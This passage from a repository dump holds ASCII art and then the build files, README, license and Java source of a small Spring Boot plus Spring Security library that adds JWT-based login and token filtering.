:...EEK##WEDDfLDEEW#DfDEEKDGDDDDKDEDKEDKWWWWKKKKE#WEW#EEKEWWW#K#W#KKWKKKKWEWKKKKKEKEEEEEDDEDj;:;:::;,tLEEEEEEKEKEDj;;;:;;;;ELj;i;t;;,:.:... : . .:::....,D,: ...:::;ii,ii;,;,ii;i,:\n: ..iWDE#K##EDffGDKKWELDDDEDDDEDKDEKKEEKKEEWWK#WW#KW#WW#WEKW#K#WWWWK#W#WEKKWKK#KKKEEEDEEEDEDEi:;::,;fGEEEEEEEEEEEEEDG;;;;;;;GGjtti;;;;;:.:: : : .... : .,jD..::...:::,;ii:iiii;:iii;\n : iEDEWW#WEEDjfDEE#EDfDDEDGDDEDDKEDKEWWEWWEWKKEWK#WWW#WEKW#K#W#W##KK#EWWWWK#WEWWEKEDEDDEWEEGj;::;jLEEEEEEEEDDEEKWEEEf,;,;;;GLjt;;i;;,:.:. .  .  :.::..,iDL :  : :::;ii;i;i:;,iii;;,\n::iWWWEE#K#WDLfLEDKK#DGGDDGDEDEDKEEKKKKKWWKK#KWW##WWW#KWKK#W#W#W#KWW#EWKWWKWWE#KKEKDEEDEDEDEDi;,tLLDEEEEEEDEDEDEEKKEEDEf;;;iELjij;;,;;,:.::..: :: : . ;ijG, :  :..:::i;,,;ii;i;,;ii;\n :W#KWEEW##WKLfGDKKEWDLDDDDEDDEEKDKDKKKWKWKWWWE#KK#W#WWWWWWW#KWWWWWWWWE#WWWWK#K#KKEEDEKEEEKDEffLGEEEEEEEDEDDDDDDEEWKKEEDDf;fDjtiti;;:;.:...:. .  ...:iijDi. : . ::::;ii;i;i;i;,i,;i:\n:f##DWDWWWWKELfGDWWWEELDELDDEEWEDEKKWWWKWKKWKKWEWK#K##EKWW##K#EW#WEWWWWKK#KWKKWEKEKEEEEKEDEKDLDEEEEEEEKDDDDDDDDDDEEKEEEDDELLGLjt;;;:,::.:.. ..: ....,ijDf....  : :.::;iiiii,ii;;iii;\niEW#DWEEW##KDDfDEKKWKDLDDGDEDWEDKEWE#WKKWEKKKEWW#W#W##WKW#W#KWK#E##W#WW#WWWWWW#WKEDWDKEDWEEDEDDEDEEEDEDEEDDDDDDDDDEKKKKEDEEKLjj;i;;;;::.:..... : ::.jijDj.: :.: :::::i:ii:i;;iiiiii:\nEWW#D#EEW#WWDDfDEKKWEDfDDDEDEWDEEKKKK#WKWKKKKKWWW#W#K#KWW#WWE#EWWW#E#W#WKWWWWKKKDEKEEKDDEEDWEDEEEEEEEDDEDDDDDDDDDDEEKKWKEDDWLjt;;;,;:,.:..... :.:.,tijLf. :.......::::;,:;,;,;;;,;;:\nK###DWKK#W#EELfDK#KKKGGDEDDEWKKKKEW##WWWWWEKEW#K#WW#WKK##K#E#WKW#WWW#KW#KK#WKKKEKKDEDEEEWDKKDDEEEDEDDDDDDDDDGDDDDDDEEEKKEEDEGLt;;;;;.::... ... .,,iijjDi :  ....::::::::i:::;::::;::\nEWW#D#WDWWW#DLLDKWEKKGGDDEDEKWEKKKWKWW#WWEEWEWWWWWWWWWE###WW#KKWWWW#E##K##WWWWEEDEEEDKDEEKKEEGEGEDDEDDDDDDDDDDGDGDDDEWKWKEEDLjt;;;;.,....::.....,t,ijfD,...: :.: .:.::::::::::::::::\nWEW#E#WEW#WWDGLDKKKWDLLDGDEDKWEKK#WW#W##WKEKEWW#KWWWKWWWW#W#WEW#W##K#WW#KW#WWEEEDEEDEEEKKKEEDKEDDDDDDDDDDGDGDDDGDGDDDEEKWWEELft;;,;;:...:....: .i,ijGDD.... .......: .:..:.:::.:.:::\nE##WE#EWWWKWDDfD#W#WELDLGEEEKKKEK#W#WW#EWEWEWWWWW#WWKW#WW##WWWWWWWWWWWWW##KEEDKEKKKEEEEK#WWEEWWEDDDDDDGGGDGDDGDDGDDDDEKKEKEWDft;;,:.:.: .... . .i,jfDDf: ....::..: :.... ::...:::...\nKE##W#WEW##WDGfDWWWKDLDfDEEEKKEKKWKW#W#WKWEWEWKK##EW#W#K##WW#EK#W##W#WWWWK#WEKEWEKEDEEKWWEEDK##WEDDDDGDDDGDGDDGDGDDDDEEEKWKEEEf;;;::.::.: ... ..iijLDDi: :..:  :  : ::.:: :.:.  : :.\nWE#KKWWD#KWEDGLEWWWEKfLDDDKKKKKK#W#WK#KWKKEWWKW#WK#WEW#WWW##WE##K###E##W#KKEEEEKWEWKEWKWWWEE###WKDGGGDGDGDGDDDDGGGDDDDEEKEKKEED;::;:.....:.. ..,iiLLDD;......::..:... ...: : ::: ::\n#KK##WWEWWEWDDLEW#KEEfDDEKKKKWE##W#WK#KWKK#KW#WWWE#W##W#W#WW#EWWW##WWWW#KEKEEDEKKWEEWW#WEEDE####WEDGGGGDDGDGDGGDGGDDDDEEEKEWKEEf;::.:. .: . . .iijLDDi.: : ....:..: :: :..: ..:: ::.\n###KW#WEW##WDDfKEW#WDLLDKKDKEWWKWW#K#W#K#KKWKKKWW#K#KK###W#W#K#W#KK#W##W#EKDKKEEKKKKK#KWWEDKWWW##WEDDGDGGDGDGGGDGDGDDDDEEKKKKKKD,.;:..: .......tjfGDD,....:: :.....: ....: :.:  : ..\n#WW#KWWDK#KWDDLD#W#EDfDDKWEWEKK#W#K##K#EWKWKK#KWWKW#KW#W#W###KKWWWW##W##WWEKDEEWKKKW#W#EKDEE###W#WKDGDGGGDGGDGGGDGDGDEEEEEKKEEKDf,,:.:.:. ... ,jjLDDf ::... :.:....:.:.:...:..::....\n#K####WD#E#EDDLEW#WEDfGEWEWEW#K##K#WW#EWKKWEWWWK##W#WW#W#WW#W#K#K###W#WKKEKDKEWK#W##W#WEDEKEW#WKWW#KDDGGDGGGGDDGGDDDDDEEKKEKEKEEEi;.:.:.. ....ijLLDD,.. :....::....:..:....:...: ::.\nW#K#WW#EK#WEDDfK#E#WDfDDWWEKKW#KW#K#WW##KWWWKWE#KWWWKK##W##W#WW#W#WWW#KKWKEKKKKKWE##W#KEDEEEKW##WWW#DGDDGDGDGGGGDGGDDDEDKEKEWEEEDL,:.:. : . .,tjfDDD :  : :: :: :: :  :  :....:: :.\n######WE#WEKDELEWW#EDfLEWKKKWW#WWWW#W#KKKKE#WKWWKW#W###W#W##WWW#K####KWEKKKKKKW##W##KKKDEKKEKWWWW#WWEDDGGGGGGDGDGDGDDEEEEKEKKEKEEDt.:.:..... tjjfEDD :  ... :  :..............  ...:\n#WWW#E#D#WEDEDLWWWWKDffKKWKK#W#WWWW##K##EWEW#K#K##W#W#W#W#WK#WEK##W#EKWEKWEW#K#WK#WKWKEEEDDEWWKWWWWWWKDDGGGGGDGDGDDDDEEEEEEEEEEEEDD :.:..:.: jjtDDDf. :.... : : :.... :  ..... ....:\nW###WW#EE#KEDDfEWWKKDfDDKKKWWK#WW#K##W#KKWWWWKKW#WWWKW#####W##W##W#KKKKKEEWWK#E##K##WWDDEDEDEWWEWWWWWKEDDGGGDGDGDGGDDEDEEKKKEEEEEED..:. . . .iijEDDj : .. ...  . .. .:  . .. .  .\n#WW###WKWWEDEDLKW#KEDfDEWKWK#W#KW#WWW#EWKKWWWWWKKK#W#W#W#K###W##W#KKKKKKKKWWWWW##W#KWEEEDEDEKKWKWWWWW#KDGDGGGGGGDGDDDDEEEEEEEEEEDEDi. :..::..jjjDDG,. . ..   : ..  : . :. ..: : : ..\nW#K#W##EWWWEDDLKWKKEDfDEEEW#KWK#WW#WK#WKWEWWWWW#WK#WWW###W#K###W###EKKW#WWE#WWWWWWWWEWDDEDDEEWKKWK#KWWWEDGGGDGDGDGDDDEDKEKEEEEKEEDDf,:. . . .tijDDf..   .. .. ..  :   .. : . . .\n#WWWW##EK#KEEDfKWKWEGfDEKKW#KKWW#K#KWWWWWEWW#E#K##K#KW###W#K#####KWEKKW#WWK##KKWKW#KKKDDDDDDDKWKKKKWW#WWDDGGDGDGGDDDDEDEEEKEEEDEDEDDL, .:...,jjGDDt : .: : ...... :  ... : ....: ..\n#W#W#W#WKKEDDDLKWW#EDfGKK#KW###WW#K#K#KKKWW#KWW#WW#K##K##K###W#W##EKKW#K#E#E#WWWWEKKWWEEDEEDEKKKKKWWKWWWEDDGGGGDDGDDDDEEEEEEKEEDEDDDDj.: ...tjDEDG,. .. . .: .: ....:.... : ... : ..\nWWW#W###EWKEDDLKKWKDDfGKKKW#WK#KWWWW#W#KWWWWEWK#WKW#KW##W###W####WWEWWW#WWE#K#WK#KWKWWEDEDEDEWKWKKKKWWWWWEDGDGGGDGDDDEEDEEEEEEDDDDEDDD.... .tDEDDD, ... :......... :  : .: :: .....\nWW###W##EWEEDDLKEWEKGfDEWW#W##WWW#KW#W#WE#WWWEW#WE#K###WK#WWK###WWEKWW#W#KWW#W#EEKKKW#WDDDDEDEKKKKKKKW#WWWWGGGGGDGDDDDEDEEEEEEDDDDDDDDj. ..;DEDDDL...:..:...:...::.........:..::..:\n##W#KW##EKWDGDfKKKKEDfDKEWWWWW#WK#K#WWWKWKW#KKK#WW#W##W#######W##WW#K##K##KW#KW#WEK#KKEEDKEDEDEWKWKWWKWKW#WDDGGGDGDDDEEEEEEEEDDDDDDDDDL,.. tEEDDDf..: ::..:: ::.::.::::..:..:..:.::.\nWWK#W###DEEEGDLEKKKKDfDEWK#K##W##W#EW#KWWW#KKW#W##WWWW##W#W#W##W#KEWKWW#KWK##W#KEEWW##KDEDDDEEDKWKWKWWWWWWWEDGDGGDDDDDEDEEEEDEDDDDDDDDGL .,tEDKDGf.:.:. :...:. :  :..:.::..: :. :...\nW#W#W###DEWEDGGEDKKEDLDKK#K#WW###W#WK#KWWW#EWW#W##W#K##WW#W#WW##WKKKKKWWWWWWK#KWKKK##KKEDEEDEEEDWKKKWKW#WWWWKDGGGDGDDDEDEEEEEDEDDDGDGDDDD.LDEEDDDj:..:::....::.:..: ::.:.... :...:.:\n#KW#WW##EEKDGDfDEKWEDLEK#K#K##W##K#KWWWWW#K#KWK###WW#W##W####W#KWE#EW##WWWW##WKKKK#WWKKDEDKKEEDEKWWWWKWKWWW#KEGGGGGDDEDEEEDEDDDDDDDDDGGGDjGDEDDDGj.:: ::.::: ::..::...: :.:::.....:\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_security2/.gitignore",
    "content": "### STS ###\n.apt_generated\n.classpath\n.factorypath\n.project\n.settings\n.springBeans\n\n### IntelliJ IDEA ###\n.idea\n*.iws\n*.iml\n*.ipr\n\n### NetBeans ###\nnbproject/private/\nbuild/\nnbbuild/\ndist/\nnbdist/\n.nb-gradle/\n\n\n### Java template\n# Compiled class file\n*.class\n\n# Log file\n*.log\n\n# BlueJ files\n*.ctxt\n\n# Mobile Tools for Java (J2ME)\n.mtj.tmp/\n\n# Package Files #\n*.jar\n*.war\n*.ear\n*.zip\n*.tar.gz\n*.rar\n\n# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml\nhs_err_pid*\n### Maven template\ntarget/\npom.xml.tag\npom.xml.releaseBackup\npom.xml.versionsBackup\npom.xml.next\nrelease.properties\ndependency-reduced-pom.xml\nbuildNumber.properties\n.mvn/timing.properties\n\n# Avoid ignoring Maven wrapper jar file (.jar files are usually ignored)\n!/.mvn/wrapper/maven-wrapper.jar"
  },
  {
    "path": "jun_springboot_plugin/springboot_security2/LICENSE",
    "content": "MIT License\n\nCopyright (c) 2020 西西弗斯\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_security2/README.md",
    "content": "# simple-security\n\n#### 项目介绍\n基于spring boot+spring security+jwt实现的基础auth机制。  \n\n#### 快速开始\n在SpringBootApplication上添加@EnableWebSecurityJwt。  \n同时需要自己实现一个UserDetailsService。  \n\n登陆接口路径： /auth/token\n\n#### 属性配置项\n- jwt.filter.header 请求header内的key\n- jwt.filter.tokenHead 请求header内的key对应value 的默认开头 如Bearer\n- jwt.filter.exceptUrl 过滤路径 如 /auth/**\n- jwt.payload.secret payload秘钥\n- jwt.payload.issuer jwt签发者名称\n- jwt.payload.audience 接收jwt的一方\n- jwt.payload.expirationMinute 过期时间 ( 分钟 ) 默认是一天\n- jwt.payload.notBeforeMinute NotBefore ( 分钟 ) 默认是15分钟\n\n#### 常见问题\n##### jackson-databind发生冲突？  \n```\n<dependency>\n    <groupId>org.simple</groupId>\n    <artifactId>web-security-jwt</artifactId>\n    <version>2.0.3.RELEASE</version>\n    <exclusions>\n        <exclusion>\n            <groupId>com.fasterxml.jackson.core</groupId>\n            <artifactId>jackson-databind</artifactId>\n        </exclusion>\n    </exclusions>\n</dependency>\n```"
  },
  {
    "path": "jun_springboot_plugin/springboot_security2/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>org.simple.security</groupId>\n    <artifactId>springboot_security2</artifactId>\n    <version>1.0</version>\n    <packaging>pom</packaging>\n\n    <modules>\n        <module>simple-security-jwt</module>\n        <module>simple-security-jwt-demo</module>\n    </modules>\n\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_security2/simple-security-jwt/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>org.simple.security</groupId>\n    <artifactId>simple-security-jwt</artifactId>\n    <version>1.0.0</version>\n\n    <name>simple-security-jwt</name>\n    <description>一个应用于springboot项目的，基于JWT的一键集成Auth机制。</description>\n\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.0.3.RELEASE</version>\n        <relativePath/> <!-- lookup parent from repository -->\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-configuration-processor</artifactId>\n            <optional>true</optional>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-security</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>io.jsonwebtoken</groupId>\n            <artifactId>jjwt</artifactId>\n            <version>0.9.1</version>\n        </dependency>\n\n\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <version>1.18.20</version>\n        </dependency>\n\n        <dependency>\n            <groupId>javax.servlet</groupId>\n            <artifactId>javax.servlet-api</artifactId>\n            <scope>provided</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.projectlombok</groupId>\n                <artifactId>lombok-maven-plugin</artifactId>\n                <version>1.16.8.0</version>\n                <executions>\n                    <execution>\n                        <phase>generate-sources</phase>\n                        <goals>\n                            <goal>delombok</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_security2/simple-security-jwt/src/main/java/org/simple/web/jwt/annotation/EnableWebSecurityJwt.java",
    "content": "package org.simple.web.jwt.annotation;\n\nimport org.simple.web.jwt.config.WebSecurityConfig;\nimport org.springframework.context.annotation.Import;\n\nimport java.lang.annotation.*;\n\n/**\n * 项目名称：web-security-jwt\n * 类名称：EnableWebSecurityJwt\n * 类描述：EnableWebSecurityJwt\n * 创建时间：2018/7/19\n *\n * @author guihuo   (E-mail:1620657419@qq.com)\n * @version v1.0\n */\n@Target(ElementType.TYPE)\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\n@Inherited\n@Import({WebSecurityConfig.class})\npublic @interface EnableWebSecurityJwt {\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_security2/simple-security-jwt/src/main/java/org/simple/web/jwt/config/PasswordEncoderFactory.java",
    "content": "package org.simple.web.jwt.config;\n\nimport org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;\nimport org.springframework.security.crypto.password.*;\nimport org.springframework.security.crypto.scrypt.SCryptPasswordEncoder;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * 项目名称：simple-security-all\n * 类名称：PasswordEncoderFactory\n * 类描述：PasswordEncoderFactory\n * 创建时间：2018/9/13\n *\n * @author guihuo   (E-mail:1620657419@qq.com)\n * @version v1.0\n */\npublic class PasswordEncoderFactory {\n\n    public static final String PWD_ENCODER_PLAINTEXT = \"plain\";\n    public static final String PWD_ENCODER_BCRYPT = \"bcrypt\";\n    public static final String PWD_ENCODER_SCRYPT = \"scrypt\";\n    public static final String PWD_ENCODER_PBKDF2 = \"pbkdf2\";\n    public static final String PWD_ENCODER_MD5 = \"md5\";\n    public static final String PWD_ENCODER_SHA = \"sha\";\n    public static final String PWD_ENCODER_SHA_256 = \"sha-256\";\n    public static final String PWD_ENCODER_SHA_512 = \"sha-512\";\n    public static final String PWD_ENCODER_STANDARD = \"standard\";\n\n    private static final Map<String, PasswordEncoder> PASSWORD_ENCODERS = new HashMap<>();\n\n    static {\n        PASSWORD_ENCODERS.put(PWD_ENCODER_BCRYPT, new BCryptPasswordEncoder());\n        PASSWORD_ENCODERS.put(PWD_ENCODER_SCRYPT, new SCryptPasswordEncoder());\n        PASSWORD_ENCODERS.put(PWD_ENCODER_PBKDF2, new Pbkdf2PasswordEncoder());\n        PASSWORD_ENCODERS.put(PWD_ENCODER_PLAINTEXT, NoOpPasswordEncoder.getInstance());\n        PASSWORD_ENCODERS.put(PWD_ENCODER_MD5, new MessageDigestPasswordEncoder(\"MD5\"));\n        PASSWORD_ENCODERS.put(PWD_ENCODER_SHA, new MessageDigestPasswordEncoder(\"SHA-1\"));\n        PASSWORD_ENCODERS.put(PWD_ENCODER_SHA_256, new MessageDigestPasswordEncoder(\"SHA-256\"));\n        PASSWORD_ENCODERS.put(PWD_ENCODER_SHA_512, new MessageDigestPasswordEncoder(\"SHA-512\"));\n        PASSWORD_ENCODERS.put(PWD_ENCODER_STANDARD, new StandardPasswordEncoder());\n    }\n\n    private PasswordEncoderFactory() {\n    }\n\n    public static PasswordEncoder getInstance(String encoderId) {\n        return new DelegatingPasswordEncoder(encoderId, PASSWORD_ENCODERS);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_security2/simple-security-jwt/src/main/java/org/simple/web/jwt/config/WebSecurityConfig.java",
    "content": "package org.simple.web.jwt.config;\n\nimport org.simple.web.jwt.filter.JwtAuthenticationTokenFilter;\nimport org.simple.web.jwt.filter.UserLoginFilter;\nimport org.simple.web.jwt.handler.SimpleAuthenticatingFailureHandler;\nimport org.simple.web.jwt.handler.SimpleAuthenticatingSuccessHandler;\nimport org.simple.web.jwt.property.JwtAuthFilterProperty;\nimport org.simple.web.jwt.property.SimpleSecurityProperty;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.ComponentScan;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.http.HttpMethod;\nimport org.springframework.security.authentication.AuthenticationManager;\nimport org.springframework.security.config.annotation.method.configuration.EnableGlobalMethodSecurity;\nimport org.springframework.security.config.annotation.web.builders.HttpSecurity;\nimport org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;\nimport org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;\nimport org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer;\nimport org.springframework.security.config.http.SessionCreationPolicy;\nimport org.springframework.security.crypto.password.NoOpPasswordEncoder;\nimport org.springframework.security.crypto.password.PasswordEncoder;\nimport org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter;\nimport org.springframework.util.StringUtils;\n\n/**\n * 项目名称：web-web-jwt\n * 类名称：WebSecurityConfig\n * 类描述：WebSecurityConfig Spring Security 配置\n * 创建时间：2018/4/11 16:48\n *\n * @author guihuo   (E-mail:1620657419@qq.com)\n * @version v1.0\n */\n@Configuration\n@EnableWebSecurity\n@EnableGlobalMethodSecurity(prePostEnabled = true)\n@ComponentScan(basePackages = {\"org.simple.web.jwt\"})\npublic class WebSecurityConfig extends WebSecurityConfigurerAdapter {\n\n    @Autowired\n    private JwtAuthFilterProperty jwtAuthFilterProperty;\n\n    @Autowired\n    private SimpleSecurityProperty simpleSecurityProperty;\n\n    @Autowired\n    private SimpleAuthenticatingSuccessHandler simpleAuthenticatingSuccessHandler;\n\n    @Autowired\n    private SimpleAuthenticatingFailureHandler simpleAuthenticatingFailureHandler;\n\n    private Logger logger = LoggerFactory.getLogger(this.getClass());\n\n    /**\n     * HTTP请求安全处理\n     * token请求授权\n     *\n     * @param httpSecurity .\n     * @throws Exception .\n     */\n    @Override\n    protected void configure(HttpSecurity httpSecurity) throws Exception {\n        // 由于使用的是JWT，我们这里不需要csrf\n        httpSecurity.csrf().disable();\n        // 基于token，所以不需要session\n        httpSecurity.sessionManagement().sessionCreationPolicy(SessionCreationPolicy.STATELESS);\n        // 禁用缓存\n        httpSecurity.headers().cacheControl();\n\n        // 设置允许匿名访问的路由\n        ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry expressionInterceptUrlRegistry\n                = httpSecurity.authorizeRequests();\n        String[] urls = jwtAuthFilterProperty.getExceptUrl().split(\",\");\n        for (String url : urls) {\n            if (!StringUtils.isEmpty(url)) {\n                expressionInterceptUrlRegistry.antMatchers(url).permitAll();\n            }\n        }\n        expressionInterceptUrlRegistry\n                .antMatchers(HttpMethod.OPTIONS).permitAll()\n                // 除上面外的所有请求全部需要鉴权认证\n                .anyRequest().authenticated();\n\n        // 添加JWT filter\n        //将token验证添加在密码验证前面\n        httpSecurity.addFilterBefore(getJwtAuthenticationTokenFilter(), UsernamePasswordAuthenticationFilter.class);\n        httpSecurity.addFilterBefore(getUserLoginFilter(), JwtAuthenticationTokenFilter.class);\n    }\n\n    @Bean\n    public PasswordEncoder passwordEncoder() {\n        return PasswordEncoderFactory.getInstance(simpleSecurityProperty.getPasswordEncoder());\n    }\n\n    @Bean\n    public AuthenticationManager getManagerBean() throws Exception {\n        return super.authenticationManagerBean();\n    }\n\n    @Bean\n    public JwtAuthenticationTokenFilter getJwtAuthenticationTokenFilter() throws Exception {\n        return new JwtAuthenticationTokenFilter();\n    }\n\n    @Bean\n    public UserLoginFilter getUserLoginFilter() throws Exception {\n        UserLoginFilter userLoginFilter = new UserLoginFilter(getManagerBean());\n        userLoginFilter.setAuthenticationSuccessHandler(simpleAuthenticatingSuccessHandler);\n        userLoginFilter.setAuthenticationFailureHandler(simpleAuthenticatingFailureHandler);\n        return userLoginFilter;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_security2/simple-security-jwt/src/main/java/org/simple/web/jwt/filter/JwtAuthenticationTokenFilter.java",
    "content": "package org.simple.web.jwt.filter;\n\nimport org.simple.web.jwt.property.JwtAuthFilterProperty;\nimport org.simple.web.jwt.service.JwtService;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.security.authentication.UsernamePasswordAuthenticationToken;\nimport org.springframework.security.core.context.SecurityContextHolder;\nimport org.springframework.security.core.userdetails.UserDetails;\nimport org.springframework.security.core.userdetails.UserDetailsService;\nimport org.springframework.security.web.authentication.WebAuthenticationDetailsSource;\nimport org.springframework.web.filter.OncePerRequestFilter;\n\nimport javax.servlet.FilterChain;\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport java.io.IOException;\n\n/**\n * 项目名称：web-web-jwt\n * 类名称：JwtAuthenticationTokenFilter\n * 类描述：JwtAuthenticationTokenFilter jwt认证过滤器\n * 创建时间：2018/4/11 16:40\n *\n * @author guihuo   (E-mail:1620657419@qq.com)\n * @version v1.0\n */\npublic class JwtAuthenticationTokenFilter extends OncePerRequestFilter {\n\n    @Autowired\n    private JwtService jwtService;\n\n    @Autowired\n    private UserDetailsService userDetailsService;\n\n    @Autowired\n    private JwtAuthFilterProperty jwtAuthFilterProperty;\n\n    /**\n     * 过滤器逻辑\n     *\n     * @param request  .\n     * @param response .\n     * @param chain    .\n     * @throws ServletException .\n     * @throws IOException      ,\n     */\n    @Override\n    protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain chain) throws ServletException, IOException {\n        String authHeader = request.getHeader(this.jwtAuthFilterProperty.getHeader());\n        String tokenHead = this.jwtAuthFilterProperty.getTokenHead();\n        if (authHeader != null && authHeader.startsWith(tokenHead)) {\n            String authToken = authHeader.substring(tokenHead.length());\n            if (jwtService.validateToken(authToken)) {\n                String subject = jwtService.getSubjectFromToken(authToken);\n                UserDetails userDetails = userDetailsService.loadUserByUsername(subject);\n                UsernamePasswordAuthenticationToken authentication =\n                        new UsernamePasswordAuthenticationToken(userDetails, null, userDetails.getAuthorities());\n                authentication.setDetails(new WebAuthenticationDetailsSource().buildDetails(request));\n                SecurityContextHolder.getContext().setAuthentication(authentication);\n            }\n        }\n        chain.doFilter(request, response);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_security2/simple-security-jwt/src/main/java/org/simple/web/jwt/filter/UserLoginFilter.java",
    "content": "package org.simple.web.jwt.filter;\n\nimport org.springframework.http.HttpMethod;\nimport org.springframework.security.authentication.AuthenticationManager;\nimport org.springframework.security.authentication.AuthenticationServiceException;\nimport org.springframework.security.authentication.UsernamePasswordAuthenticationToken;\nimport org.springframework.security.core.Authentication;\nimport org.springframework.security.core.AuthenticationException;\nimport org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter;\nimport org.springframework.security.web.util.matcher.AntPathRequestMatcher;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport java.io.IOException;\n\n/**\n * 项目名称：web-security-jwt\n * 类名称：UserLoginFilter\n * 类描述：UserLoginFilter\n * 创建时间：2018/9/12\n *\n * @author guihuo   (E-mail:1620657419@qq.com)\n * @version v1.0\n */\npublic class UserLoginFilter extends AbstractAuthenticationProcessingFilter {\n\n    private static final String DEFAULT_USERNAME_PARAMETER = \"username\";\n\n    private static final String DEFAULT_PASSWORD_PARAMETER = \"password\";\n\n    public UserLoginFilter(AuthenticationManager authenticationManager) {\n        super(new AntPathRequestMatcher(\"/auth/token\", HttpMethod.POST.name()));\n        setAuthenticationManager(authenticationManager);\n    }\n\n    @Override\n    public Authentication attemptAuthentication(HttpServletRequest request, HttpServletResponse response) throws AuthenticationException, IOException, ServletException {\n        return this.getAuthenticationManager().authenticate(new UsernamePasswordAuthenticationToken(\n                obtainUsername(request), obtainPassword(request)\n        ));\n    }\n\n    private String obtainUsername(HttpServletRequest request) {\n        String username = request.getParameter(DEFAULT_USERNAME_PARAMETER);\n        if (username == null) {\n            username = \"\";\n        }\n        return username.trim();\n    }\n\n    private String obtainPassword(HttpServletRequest request) {\n        String password = request.getParameter(DEFAULT_PASSWORD_PARAMETER);\n        if (password == null) {\n            password = \"\";\n        }\n        return password;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_security2/simple-security-jwt/src/main/java/org/simple/web/jwt/handler/SimpleAuthenticatingFailureHandler.java",
    "content": "package org.simple.web.jwt.handler;\n\nimport io.jsonwebtoken.lang.Assert;\nimport org.springframework.beans.factory.InitializingBean;\nimport org.springframework.context.MessageSource;\nimport org.springframework.context.MessageSourceAware;\nimport org.springframework.context.support.MessageSourceAccessor;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.http.MediaType;\nimport org.springframework.security.core.AuthenticationException;\nimport org.springframework.security.core.SpringSecurityMessageSource;\nimport org.springframework.security.web.authentication.AuthenticationFailureHandler;\nimport org.springframework.stereotype.Component;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport java.io.IOException;\n\n@Component\npublic class SimpleAuthenticatingFailureHandler implements AuthenticationFailureHandler, InitializingBean, MessageSourceAware {\n\n    private static String AUTH_FAILURE_MESSAGES = 